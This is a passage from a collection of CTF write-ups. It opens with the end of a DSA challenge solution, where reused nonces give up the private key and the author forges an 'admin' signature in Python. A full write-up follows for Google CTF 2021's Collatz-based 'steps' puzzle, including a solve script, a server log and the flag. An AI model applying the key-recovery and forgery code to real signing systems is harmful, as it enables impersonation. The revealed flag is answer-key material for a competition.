compute the hashes of the messages locally: 87 | ```python 88 | r1, r2 = sig1 / Q, sig2 / Q ## in fact - the same value 89 | s1, s2 = sig1 % Q, sig2 % Q 90 | h1,h2 = h(makeMsg(name, n1)), h(makeMsg(name, n2)) 91 | ``` 92 | and then compute `k` and then the `PRIVATE` key: 93 | ```python 94 | k = ((h1 - h2) * modinv(s1 - s2, Q)) % Q 95 | PRIVATE = ((s1 * k - h(makeMsg(name, n1))) * modinv(r1, Q)) % Q 96 | ``` 97 | (the calculation of `PRIVATE` according to `n1` and `n2` are the same and correspond to the `PUBLIC` key) 98 | Now, we can sign any name - including _admin_ :) 99 | ```python 100 | n = '' ## doesn't matter 101 | k = 1 ## doesn't matter 102 | r = pow(G, k, P) % Q 103 | s = (modinv(k, Q) * (h(makeMsg(name, n)) + PRIVATE * r)) % Q 104 | admin_sig = r*Q + s 105 | ``` 106 | 107 | And that's it. We have a valid signature for `name = 'admin'` (with `n = ''`) and we can now login and get the flag. 108 | 109 | You may find the full solution's code [here](solve.py). 110 | -------------------------------------------------------------------------------- /2021/google_quals/ICANTBELIEVITSNOTCRYPTO/README.md: -------------------------------------------------------------------------------- 1 | # I CANT BELIEVE ITS NOT CRYPTO 2 | 3 | This write-up is written in agony. It's a cautionary tale. It's a therapeutic endeavor. Yes, it's a challenge solved a couple of hours after the CTF is ended. 4 | 5 | ## The challenge 6 | The challenge is very weird. It defines an obscure algorithm that manipulates two lists in a loop until the lists contain a specific value. The user should provide two lists that will cause the algorithm to iterate at least 2000 times. 7 | ```python 8 | def count(l1, l2): 9 | n = 0 10 | while l1 + l2 != [1, 0]: 11 | step(l1, l2) 12 | n += 1 13 | return n 14 | 15 | if __name__ == "__main__": 16 | l1, l2 = read_lists() 17 | c = count(l1, l2) 18 | if c > 2000: 19 | print("You win") 20 | print(open("flag.txt").read()) 21 | else: 22 | print("Too small :(") 23 | print(c) 24 | ``` 25 | 26 | The conditions for the lists are as follows: 27 | 1. The lists length must agree and not exceed 23 28 | 2. The first list may contain only binary digits (0,1) 29 | 3. The second list may contain only ternary digits (0,1,2) 30 | 31 | The conditions are enforced (correctly) by this code: 32 | ```python 33 | def read_lists(): 34 | l1 = [ord(c) % 2 for c in input("> ")] 35 | l2 = [ord(c) % 3 for c in input("> ")] 36 | assert len(l1) < 24, "too big" 37 | assert len(l1) == len(l2), "must be same size" 38 | return l1, l2 39 | ``` 40 | 41 | A single iteration of the loop is implemented by the following code: 42 | ```python 43 | SBOX = { 44 | (0, 0): (0, 0), 45 | (0, 1): (1, 0), 46 | (0, 2): (0, 1), 47 | (1, 0): (1, 1), 48 | (1, 1): (0, 2), 49 | (1, 2): (1, 2), 50 | } 51 | 52 | def step(l1, l2): 53 | if l1[0] == 0: 54 | l1.pop(0) 55 | else: 56 | l2.insert(0, 1) 57 | l1.append(0) 58 | 59 | for i in range(len(l1)): 60 | l1[i], l2[i] = SBOX[l1[i], l2[i]] 61 | 62 | while l1[-1] == l2[-1] == 0: 63 | l1.pop() 64 | l2.pop() 65 | ``` 66 | 67 | This is all the code in the challenge. 68 | 69 | ## Bad Ideas 70 | My initial thought was "this reminds me of the Collatz Conjecture but not quite". The conjecture also defines a simple `step` function and discusses the results of applying this function repeatedly to a natural number. 71 | The Collatz step function is: 72 | ```python 73 | def step(n): 74 | if n % 2 == 0: 75 | return n // 2 76 | else: 77 | return n * 3 + 1 78 | ``` 79 | The conjecture states that if the step function is applied repeatedly to any natural number, it will eventually be 1. 80 | 81 | However, I dismissed the idea quite quickly for two reasons: 82 | 1. The step function in the challenge deals with 2 objects, not 1 83 | 2. The Collatz step applies arithmetic operations whereas the challenge step applies some logical manipulation and permutation. 84 | 85 | Our following ideas were even worse. 86 | 87 | First, we thought of brute force but quickly realized the input space is roughly 2**50 which is too large. 88 | 89 | We examined the SBOX and realized it's a permutation with two fixed points and one cycle of length 4. This wasn't very helpful, but we understood that the application of the SBOX doesn't have a sink, it just cycles in some orbit. The only important manipulations are the `if` at the beginning and the `while` in the end, because they can change the length of the lists. These manipulations only apply to the edge of the lists. 90 | Using this insight, we implemented a simple fuzzer and directed it to mostly manipulate the middle of the sequence and not so much the extremes. The intuition is that the algorithm is very sensitive in the edges of the sequences and not so much in the middle, so it's better to explore three. 91 | This fuzzer yielded sequences that made 1350 steps. Not bad but not good enough. 92 | 93 | Then, we tried to see what is the maximum number of steps with shorter lists, say length 5,6,7. We saw that the number of steps for inputs of these lengths behaves weird. Most of them are distributed normally in some range but there are few outliers which have much more steps. So our hope to randomize it somehow (by fuzzing or gradient descent of some sort) disappeared. 94 | 95 | Another thing we noticed is that the input of length 5 which had the longest walk was not correlated in any way with the input of length 6. The longest walk starting from input of length 5 was not a sub-walk of the longest walk of input of length 6. So we eliminated the possibility to build the solution iteratively with some greedy algorithm or linear programming. 96 | 97 | At this point, we were left with mostly nothing. We were tired. We tried to think of ways to find some recursive structure of the lists but failed. We weren't even sure why the author of the challenge thinks this process halts for every input. Why don't they fear it will encounter some loop and spiral forever. We just waited for the CTF to end. 98 | 99 | ## Round 2 100 | This morning I woke up angry. I felt stupid. I felt like I missed something and that I should be able to solve this challenge. I went to a colleague and asked what he thinks. He is a crypto guy. He said something about shift registers and stuff I didn't understand. But he also talked about encoding polynomes in ternary bits and stuff like that. He also didn't know nothing about Collatz Conjecture, and I found myself referring to it again and again when we discussed the challenge. 101 | At some point, it just hit me. The Collatz step has two options, one deals with **twos** (divide by 2) and the other with **threes** (multiply by 3) and it depends on the least significant bit of the value (the parity). Another striking similarity is that the halt condition of the loop is when the lists have the value `1`. I realized it's possible this is actually some encoding of the Collatz conjecture. Then another piece fell in place, if the lists indeed encode a natural number, the `while` loop removes leading zeros from a Little-Endian encode number is very sensible. The only thing that disturbed the theory was the `SBOX`. I had no idea what part it played in this guess. 102 | At this point, I decided to defer the `SBOX` problem for later and make an experiment. I decided to try and decode the lists into a natural number and see if anything familiar shows up. 103 | 104 | If my guess is correct, the first bit in the first list should be the parity bit of the encoded number. And because zeros in the end of the lists were removed, it was logical to assume it's some little endian encoding. Finally, because a bit pair has six options [(0,1)*(0,1,2)] it made sense to use radix 6. Here is the encoding function I came up with: 105 | ```python 106 | def toNum(l1, l2): 107 | num = 0 108 | for i in range(len(l1)): 109 | digit = l1[i] + l2[i]*2 110 | num += digit * (6**i) 111 | return num 112 | ``` 113 | 114 | I tried some small input: 115 | ```python 116 | nums = [] 117 | l1, l2 = [0,0,1], [0,0,0] 118 | while l1 + l2 != [1, 0]: 119 | step(l1, l2) 120 | nums.append(toNum(l1, l2)) 121 | print(nums) 122 | ``` 123 | 124 | And the output is: 125 | `[18, 9, 28, 14, 7, 22, 11, 34, 17, 52, 26, 13, 40, 20, 10, 5, 16, 8, 4, 2, 1]` 126 | 127 | Lo and behold! It's a Collatz orbit. My assumption holds. 128 | I have no idea how the SBOX fixes it all, but there is no doubt about it. 129 | 130 | ## Solution 131 | Now it's time for googling. A quick search will give the number "93571393692802302" which is "less than 10**17" and has 2091 steps. Great. 132 | The solution is then simple: 133 | ```python 134 | num = 93571393692802302 135 | l1 = [] 136 | l2 = [] 137 | while num > 0: 138 | digit = num % 6 139 | num //= 6 140 | l1.append(digit%2) 141 | l2.append(digit//2) 142 | w1 = ''.join(chr(0x30+i) for i in l1) 143 | w2 = ''.join(chr(0x30+i) for i in l2) 144 | 145 | from pwn import * 146 | r = remote('steps.2021.ctfcompetition.com', 1337) 147 | context.log_level = 'debug' 148 | r.sendlineafter('>', w1) 149 | r.sendlineafter('>', w2) 150 | r.interactive() 151 | ``` 152 | 153 | and the output: 154 | ``` 155 | [x] Opening connection to steps.2021.ctfcompetition.com on port 1337 156 | [x] Opening connection to steps.2021.ctfcompetition.com on port 1337: Trying 34.77.82.54 157 | [+] Opening connection to steps.2021.ctfcompetition.com on port 1337: Done 158 | [DEBUG] Received 0x1e bytes: 159 | b'== proof-of-work: disabled ==\n' 160 | [DEBUG] Received 0x2 bytes: 161 | b'> ' 162 | [DEBUG] Sent 0x17 bytes: 163 | b'0110010101100001001110\n' 164 | [DEBUG] Received 0x2 bytes: 165 | b'> ' 166 | [DEBUG] Sent 0x17 bytes: 167 | b'0112011222222120011102\n' 168 | [*] Switching to interactive mode 169 | [DEBUG] Received 0x8 bytes: 170 | b'You win\n' 171 | You win 172 | [DEBUG] Received 0x21 bytes: 173 | b'CTF{5t3p_by_st3p_I_m4k3_my_w4y}\n' 174 | b'\n' 175 | CTF{5t3p_by_st3p_I_m4k3_my_w4y} 176 | ``` 177 | 178 | ## Final Thoughts (for future self) 179 | As a CTFer, intuition is the most important asset. Don't dismiss it too fast. Usually, there should be a solution to a CTF and guessing the right direction is not too hard. Maybe the details are surprising, but usually the initial hunch is a good guide. Don't give up too fast. Don't get demotivated because you have not figured up all the details. Sometimes, a leap of faith and intelligent guesses can get you the flag. 180 | --------------------------------------------------------------------------------